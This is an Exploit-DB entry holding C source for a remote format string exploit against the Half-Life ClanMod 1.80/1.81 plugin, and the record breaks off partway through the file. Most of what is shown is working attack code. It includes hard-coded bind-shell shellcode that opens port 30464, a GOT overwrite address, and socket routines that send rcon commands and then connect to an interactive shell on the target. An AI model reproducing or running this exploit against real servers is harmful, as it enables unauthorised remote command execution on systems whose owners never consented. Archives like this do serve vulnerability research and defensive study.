Exploit-DB #22139
Description: Half-Life ClanMod 1.80/1.81 Plugin - Remote Format String
Type: remote
Platform: multiple
Date: 2003-01-10
Author: greuff@void.at

Exploit:
// source: https://www.securityfocus.com/bid/6577/info

// A format string vulnerability has been discovered in the Half-Life ClanMod plugin. The problem occurs in the 'cm_log' command which is designed to write a message to the server log file. An 'rcon' authenticated user may be able to exploit this issue to overwrite sensitive locations in memory.

// Successful exploitation of this issue would allow an attacker to execute arbitrary commands with the privileges of the Half-Life server. 

/*****************************************************************
  * hoagie_clanmod.c
  *
  * Remote exploit for Halflife-Servers running the Clanmod-Plugin
  * (rcon-password required)
  *
  * Binds a shell to port 30464/tcp and connects to it.
  *
  * Author: greuff@void.at
  *
  * Tested on HL-Server v3.1.1.0 and ClanMod 1.81.11
  *
  * Credits:
  *    void.at
  *    Taeho Oh for using parts of his shellcode-connection code.
  *
  * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
  * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
  * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
  *
  *****************************************************************/

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>

#define VSNPRINTF_GOT_ADDRESS 0x0804ce18
#define OFFSET 0x41414141

#define SB4(a) ((unsigned int)(a>>24))
#define SB3(a) ((unsigned int)((a>>16)&0xFF))
#define SB2(a) ((unsigned int)((a>>8)&0xFF))
#define SB1(a) ((unsigned int)(a&0XFF))

// forks and binds a shell to 30464/tcp. parent process exit()s.
char shellcode[] = "\x31\xc0\x40\x40\xcd\x80\x89\xc0\x85\xc0\x74\x06"
                    "\x31\xc0\xb0\x01\xcd\x80"
                    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
                    "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
                    "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x77"
                    "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
                    "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
                    "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
                    "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
                    "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
                    "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
                    "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
                    "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
                    "\x24\x31\xc0\xb0\x0b\xcd\x80"
                    "\x31\xc0\xb0\x01\xcd\x80";

char server_ip[20];
char rcon_pwd[30];
int server_port;

int exec_sh(int sockfd)
{
         char snd[4096],rcv[4096];
         fd_set rset;
         while(1)
         {
                 FD_ZERO(&rset);
                 FD_SET(fileno(stdin),&rset);
                 FD_SET(sockfd,&rset);
                 select(255,&rset,NULL,NULL,NULL);
                 if(FD_ISSET(fileno(stdin),&rset))
                 {
                         memset(snd,0,sizeof(snd));
                         fgets(snd,sizeof(snd),stdin);
                         write(sockfd,snd,strlen(snd));
                 }
                 if(FD_ISSET(sockfd,&rset))
                 {
                         memset(rcv,0,sizeof(rcv));
                         if(read(sockfd,rcv,sizeof(rcv))<=0)
                                 exit(0);
                         fputs(rcv,stdout);
                 }
         }
}

int connect_sh()
{
         int sockfd,i;
         struct sockaddr_in sin;
         printf("Connect to the shell\n");
         fflush(stdout);
         memset(&sin,0,sizeof(sin));
         sin.sin_family=AF_INET;
         sin.sin_port=htons(30464);
         if(inet_aton(server_ip,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
         if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
         {
                 printf("Can't create socket\n");
                 exit(0);
         }
         if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
         {
                 printf("Can't connect to the shell\n");
                 exit(0);
         }
         return sockfd;
}

void create_conn(int *sock, char *host, int port)
{
    struct sockaddr_in sin;
    struct timeval timeout;

    sin.sin_family=AF_INET;
    sin.sin_port=htons(port);
    if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
    if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);

    timeout.tv_sec=10;
    timeout.tv_usec=0;
    if(setsockopt(*sock,SOL_SOCKET,SO_RCVTIMEO,(const void *)&timeout,
       sizeof(timeout))<0)
       perror("setsockopt"),exit(1);
    if(setsockopt(*sock,SOL_SOCKET,SO_SNDTIMEO,(const void *)&timeout,
       sizeof(timeout))<0)
       perror("setsockopt"),exit(1);
}

void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
{
    char msg[2000];
    struct sockaddr_in sin;
    struct sockaddr_in sfrom;
    fd_set fdset;
    int dummy;

    usleep(100);

    sin.sin_family=AF_INET;
    sin.sin_port=htons(port);
    if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);

    sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
    if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
       perror("sendto"), exit(1);

    if(reply)
    {
       if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
       {
          if(errno==EAGAIN)
          {
             // resend message
             printf("msg stalled, resending...\n");
             sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
             if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)